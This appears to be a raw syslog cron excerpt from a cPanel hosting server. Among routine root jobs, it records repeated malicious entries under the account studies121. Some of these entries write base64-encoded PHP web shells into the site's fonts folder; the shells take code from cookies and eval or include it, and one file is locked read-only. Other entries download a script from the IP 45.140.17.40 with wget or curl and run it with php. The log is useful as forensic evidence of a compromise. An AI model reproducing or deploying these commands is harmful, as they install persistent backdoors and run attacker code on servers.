Sep 22 17:20:01 ip-184-168-122-23 CROND[22782]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:20:01 ip-184-168-122-23 CROND[22779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 17:20:01 ip-184-168-122-23 CROND[22780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:20:01 ip-184-168-122-23 CROND[22786]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 17:20:01 ip-184-168-122-23 CROND[22787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:21:02 ip-184-168-122-23 CROND[23477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:21:02 ip-184-168-122-23 CROND[23478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:21:02 ip-184-168-122-23 CROND[23480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:21:02 ip-184-168-122-23 CROND[23484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:22:01 ip-184-168-122-23 CROND[24025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:22:01 ip-184-168-122-23 CROND[24027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:22:01 ip-184-168-122-23 CROND[24026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:22:01 ip-184-168-122-23 CROND[24028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:22:01 ip-184-168-122-23 CROND[24030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:23:01 ip-184-168-122-23 CROND[24299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:23:01 ip-184-168-122-23 CROND[24301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:23:01 ip-184-168-122-23 CROND[24302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:23:01 ip-184-168-122-23 CROND[24300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:24:01 ip-184-168-122-23 CROND[24516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:24:01 ip-184-168-122-23 CROND[24518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:24:01 ip-184-168-122-23 CROND[24522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:24:01 ip-184-168-122-23 CROND[24523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:24:01 ip-184-168-122-23 CROND[24526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:25:01 ip-184-168-122-23 CROND[24862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:25:01 ip-184-168-122-23 CROND[24864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:25:01 ip-184-168-122-23 CROND[24865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:25:01 ip-184-168-122-23 CROND[24868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:25:01 ip-184-168-122-23 CROND[24867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:25:01 ip-184-168-122-23 CROND[24869]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:26:01 ip-184-168-122-23 CROND[25177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:26:01 ip-184-168-122-23 CROND[25178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:26:01 ip-184-168-122-23 CROND[25179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:26:01 ip-184-168-122-23 CROND[25181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:26:01 ip-184-168-122-23 CROND[25183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:27:02 ip-184-168-122-23 CROND[25467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:27:02 ip-184-168-122-23 CROND[25466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:27:02 ip-184-168-122-23 CROND[25469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:27:02 ip-184-168-122-23 CROND[25471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:28:01 ip-184-168-122-23 CROND[25782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:28:01 ip-184-168-122-23 CROND[25783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:28:01 ip-184-168-122-23 CROND[25784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:28:01 ip-184-168-122-23 CROND[25786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:28:01 ip-184-168-122-23 CROND[25785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:29:01 ip-184-168-122-23 CROND[26014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:29:01 ip-184-168-122-23 CROND[26015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:29:01 ip-184-168-122-23 CROND[26013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:29:01 ip-184-168-122-23 CROND[26016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:30:01 ip-184-168-122-23 CROND[26487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:30:01 ip-184-168-122-23 CROND[26490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:30:01 ip-184-168-122-23 CROND[26491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:30:01 ip-184-168-122-23 CROND[26492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:30:01 ip-184-168-122-23 CROND[26494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:30:01 ip-184-168-122-23 CROND[26493]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:30:01 ip-184-168-122-23 CROND[26495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:30:01 ip-184-168-122-23 CROND[26496]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 17:31:01 ip-184-168-122-23 CROND[26914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:31:01 ip-184-168-122-23 CROND[26917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:31:01 ip-184-168-122-23 CROND[26916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:31:01 ip-184-168-122-23 CROND[26918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:31:01 ip-184-168-122-23 CROND[26919]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 17:32:01 ip-184-168-122-23 CROND[27229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:32:01 ip-184-168-122-23 CROND[27231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:32:01 ip-184-168-122-23 CROND[27233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:32:01 ip-184-168-122-23 CROND[27234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:32:01 ip-184-168-122-23 CROND[27232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
